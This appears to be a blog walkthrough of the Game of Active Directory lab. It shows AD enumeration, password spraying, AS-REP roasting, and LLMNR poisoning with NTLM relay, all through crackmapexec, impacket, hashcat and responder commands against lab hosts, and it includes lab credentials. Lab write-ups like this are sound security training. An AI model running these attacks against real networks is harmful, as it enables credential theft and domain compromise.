GOAD Part 1: AD Recon, Password Spraying , ASREPRoasting & LLMNR Poisoning

Introduction #

• Game of Active Directory is a fully functional AD lab environment, misconfigured with several AD issues designed to help understand various AD security concepts.
• In this n-part series, we will explore how we can abuse the misconfigurations. In part 1, we focus on enumerating the environment to find domains, domain controllers, usernames and groups. We further leverage this to conduct various attacks, showcasing techniques like password spraying & ASREPRoasting.
• We then finish off by exploring what attacks can be carried out when we have no credentials or usernames to work with such as the LLMNR Poisoning and NTLM relay.

Network Diagram #

Reconnaissance and Enumeration #

• From our network diagram, we are dealing with 5 different machines across 3 domains in the network.

1. north.sevenkingdoms.local
   • DC01 (kingslanding)
2. sevenkingdoms.local
   • DC02 (winterfell)
   • SRV02 (castleback)
3. essos.local
   • DC02 (mereen)
   • SRV03 (braavos)

• The creators of GOAD - Orange Cyberdefense - have also come up with this mindmap that structures our AD pentesting approach. We will frequently refer to this resource when exploring the lab

Hosts file setup #

• We can begin by mapping out all the machines in our hosts file. Using the IP information and domains given to us, we can find the domain controllers in the network.

nslookup -type=SRV _ldap._tcp.dc._msdcs.north.sevenkingdoms.local 192.168.56.11
Server:         192.168.56.11
Address:        192.168.56.11#53

_ldap._tcp.dc._msdcs.north.sevenkingdoms.local  service = 0 100 389 winterfell.north.sevenkingdoms.local.

nslookup -type=SRV _ldap._tcp.dc._msdcs.sevenkingdoms.local 192.168.56.10 
Server:         192.168.56.10
Address:        192.168.56.10#53

_ldap._tcp.dc._msdcs.sevenkingdoms.local        service = 0 100 389 kingslanding.sevenkingdoms.local.

nslookup -type=SRV _ldap._tcp.dc._msdcs.essos.local 192.168.56.12
Server:         192.168.56.12
Address:        192.168.56.12#53

_ldap._tcp.dc._msdcs.essos.local        service = 0 100 389 meereen.essos.local.

• Our hosts file will look as shown:

192.168.56.10   sevenkingdoms.local kingslanding.sevenkingdoms.local kingslanding
192.168.56.11   winterfell.north.sevenkingdoms.local north.sevenkingdoms.local winterfell
192.168.56.12   essos.local meereen.essos.local meereen
192.168.56.22   castelblack.north.sevenkingdoms.local castelblack
192.168.56.23   braavos.essos.local braavos

Domain User enumeration #

• We have several options for this. We will use crackmapexec and enum4linux to check for this information.

crackmapexec smb 192.168.56.10-23 --users 

• We get some domain users from the winterfell DC (the DC allows anonymous sessions) and credentials in a user’s description.

• Recon is a recursive process. Upon getting valid credentials, you should rerun your user enumeration commands with credentials to see whether you get more information

• We get more users on the domain.

Domain Group enumeration #

• I ran crackmapexec without creds but did don’t get an output on any domain

• We can run either crackmapexec or enum4linux with samwell’s creds and extract some domain group information. We will only able to retrieve information on the north domain.

enum4linux -a -U 192.168.56.11  -u samwell.tarly -p Heartsbane

• We can map them out as shown:

Valid Usernames #

• With valid usernames for the north domain, we can attempt a password spray to hunt for valid credentials or perform an ASREPRoast using the valid credentials we obtained

Password Spraying #

• In this attack, we aim to identify valid user credentials by attempting few commonly used passwords. In organizations with a fairly high number of users, there’s a chance that some are using weak passwords.

• This attack contrasts with a standard brute-force that involves attempting many passwords against a single account which we cannot launch against this environment due to the account lockout policy shown below.

• enum4linux scan results:

• We can use crackmapexec's --no-bruteforce parameter to achieve the password spray. I created a list of the user accounts and proceeded to use that list for the password list as well.

crackmapexec smb 192.168.56.11 -u actualusers.txt -p actualusers.txt --no-bruteforce

• We get hodor's credentials

AS-REPRoasting #

• The authentication process for kerberos can be split into the following parts.

• AS-REPRoasting allows attackers to extract Ticket Granting Tickets (TGT) for accounts that don’t have Kerberos pre-authentication enabled. Attackers can request an Authentication Service Response (AS-REP) from the KDC without knowing the user’s password. This response contains credential material that can be cracked offline.

• Pre-authentication ensures users send encrypted requests to the KDC when authenticating to services. When disabled, users send plain text requests and receive an encrypted AS-REP, making them vulnerable to offline cracking.

• We need valid user credentials (low privileged accounts work) to identify the target accounts. Using samwell.tarly's creds and impacket-GetNPUsers, we can enumerate the users

impacket-GetNPUsers north.sevenkingdoms.local/samwell.tarly:Heartsbane -request

• Proceed to crack the credentials with hashcat.

hashcat -m 18200 -a 0 brandon.hash /usr/share/wordlists/rockyou.txt.gz 

No Valid Credentials/Usernames #

• Lastly we will look at LLMNR Poisoning. In the event that you do not find any valid credentials or usernames, this is an essential step to take.

LLMNR Poisoning #

• LLMNR (Link-Local Multicast Resolution), is a protocol in Windows used to resolve NetBIOS names of computers on the same subnet when DNS resolution fails. When attempting to locate unknown resources in a network, LLMNR multicasts requests across a network to attempt to find unknown routes e.g shares.

• Attackers can trick devices to sending sensitive information by pretending to be the resource that another computer is trying to locate.

1. Listen and capture hashes #

sudo responder -I eth1

• We eventually harvest 2 user’s credentials in the network

2. Crack with hashcat #

hashcat -m 5600 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt.gz 

• We get robb.stark's hash.

• edd's hash could not be cracked but, we can relay the hashes to machines where SMB signing is disabled. SMB signing prevents relay attacks by appending a digital signature on packets for integrity checks.

3. Find targets for relaying #

• We can use crackmapexec to find the target where SMB signing has been disabled.

crackmapexec smb 192.168.56.10-23 --gen-relay-list relay-targets.txt

• Castleback and Braavos domain controllers are vulnerable. For the attack to work, the user whose hashes being relayed has to be a local admin on the target.

• Disable SMB and HTTP Servers on responder to allow ntlmrelayx to relay the hashes instead of authenticating to itself. In Kali, the path is in the following folder

vi /etc/responder/Responder.conf

• Start ntlmrelayx

impacket-ntlmrelayx -tf relay-targets.txt -smb2support -socks  

• Start responder as well

sudo responder -I eth1

• After a while we see this output where eddard.stark is able to authenticate to the mereen and braavos server.

• If we type the command socks, we can also see the admin status of our connection to the machines

• We can authenticate as edd on the 192.168.56.22 machine castleback using impacket-smbexec. We can see edd.stark is a domain admin on the north domain

proxychains impacket-smbexec -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

• In part 2, we will work with Bloodhound and see how to hunt for various misconfigurations with our access in the domains.

Appendix #

Valid Credentials #

Valid Users #